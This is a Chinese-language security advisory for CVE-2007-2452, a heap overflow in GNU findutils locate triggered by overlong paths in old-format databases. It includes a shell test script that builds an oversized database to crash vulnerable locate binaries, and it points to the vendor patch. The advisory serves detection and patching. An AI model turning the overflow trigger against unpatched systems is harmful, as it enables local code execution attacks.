安全研究

安全漏洞
GNU findutils传统格式Locate数据库本地堆溢出漏洞

发布日期:2007-05-31
更新日期:2007-06-01

受影响系统:
GNU findutils < 4.2.31
不受影响系统:
GNU findutils 4.2.31
描述:
BUGTRAQ  ID: 24250
CVE(CAN) ID: CVE-2007-2452

GNU findutils是一套用于搜索Unix类系统上文件的程序。

findutils在处理数据库时存在漏洞,远程攻击者可能利用此漏洞控制用户机器。

findutils支持三种不同格式的locate数据库,分别为原始格式LOCATE02、LOCATE02的slocate变种和传统格式。当locate从默认格式的LOCATE02数据库读取文件名时,会自动扩展读入数据的缓冲区以适合文件名的长度,但传统格式的数据库没有执行这种自动缓冲区扩展,而是使用了1026字节的缓冲区。如果locate数据库存在超长的路径名,就会溢出堆上所分配的缓冲区,导致执行任意指令。

<*来源:Tavis Ormandy (taviso@gentoo.org
        Rob Holland (rob@inversepath.com
  
  链接:http://marc.info/?l=bugtraq&m=118062699007388&w=2
        http://secunia.com/advisories/25477/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#! /bin/sh
set +m
if vanilla_db="$(mktemp nicedb.XXXXXX)" ; then
    if updatedb --prunepaths="" --old-format --localpaths="/tmp" \
    --output="${vanilla_db}" ; then
    true
    else
    rm -f "${vanilla_db}"
    vanilla_db=""
    echo "Failed to create old-format locate database; skipping the
sanity checks" >&2
    fi
fi

make_overrun_db() {
    # Start with a valid database
    cat "${vanilla_db}"
    # Make the final entry really long
    dd if=/dev/zero  bs=1 count=1500 2>/dev/null | tr '\000' 'x'
}



ulimit -c 0

usage() { echo "usage: $0 binary [binary...]" >&2; exit $1; }
[ $# -eq 0 ] && usage 1

bad=""
good=""
ugly=""
if dbfile="$(mktemp nasty.XXXXXX)"
then
    make_overrun_db > "$dbfile"
    for locate ; do
      ver="$locate = $("$locate"  --version | head -1)"
      if [ -z "$vanilla_db" ] || "$locate" -d "$vanilla_db" "" >/dev/null ; then
      "$locate" -d "$dbfile" "" >/dev/null
      if [ $? -gt 128 ] ; then
          bad="$bad
vulnerable: $ver"
      else
          good="$good
good: $ver"
      fi
       else
      # the regular locate failed
      ugly="$ugly
buggy, may or may not be vulnerable: $ver"
       fi
    done
    rm -f "${dbfile}" "${vanilla_db}"
    # good: unaffected.  bad: affected (vulnerable).
    # ugly: doesn't even work for a normal old-format database.
    echo "$good"
    echo "$bad"
    echo "$ugly"
else
  exit 1
fi

建议:
厂商补丁:

GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

ftp://ftp.gnu.org/gnu/findutils/findutils-4.2.31.tar.gz

浏览次数:2540
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障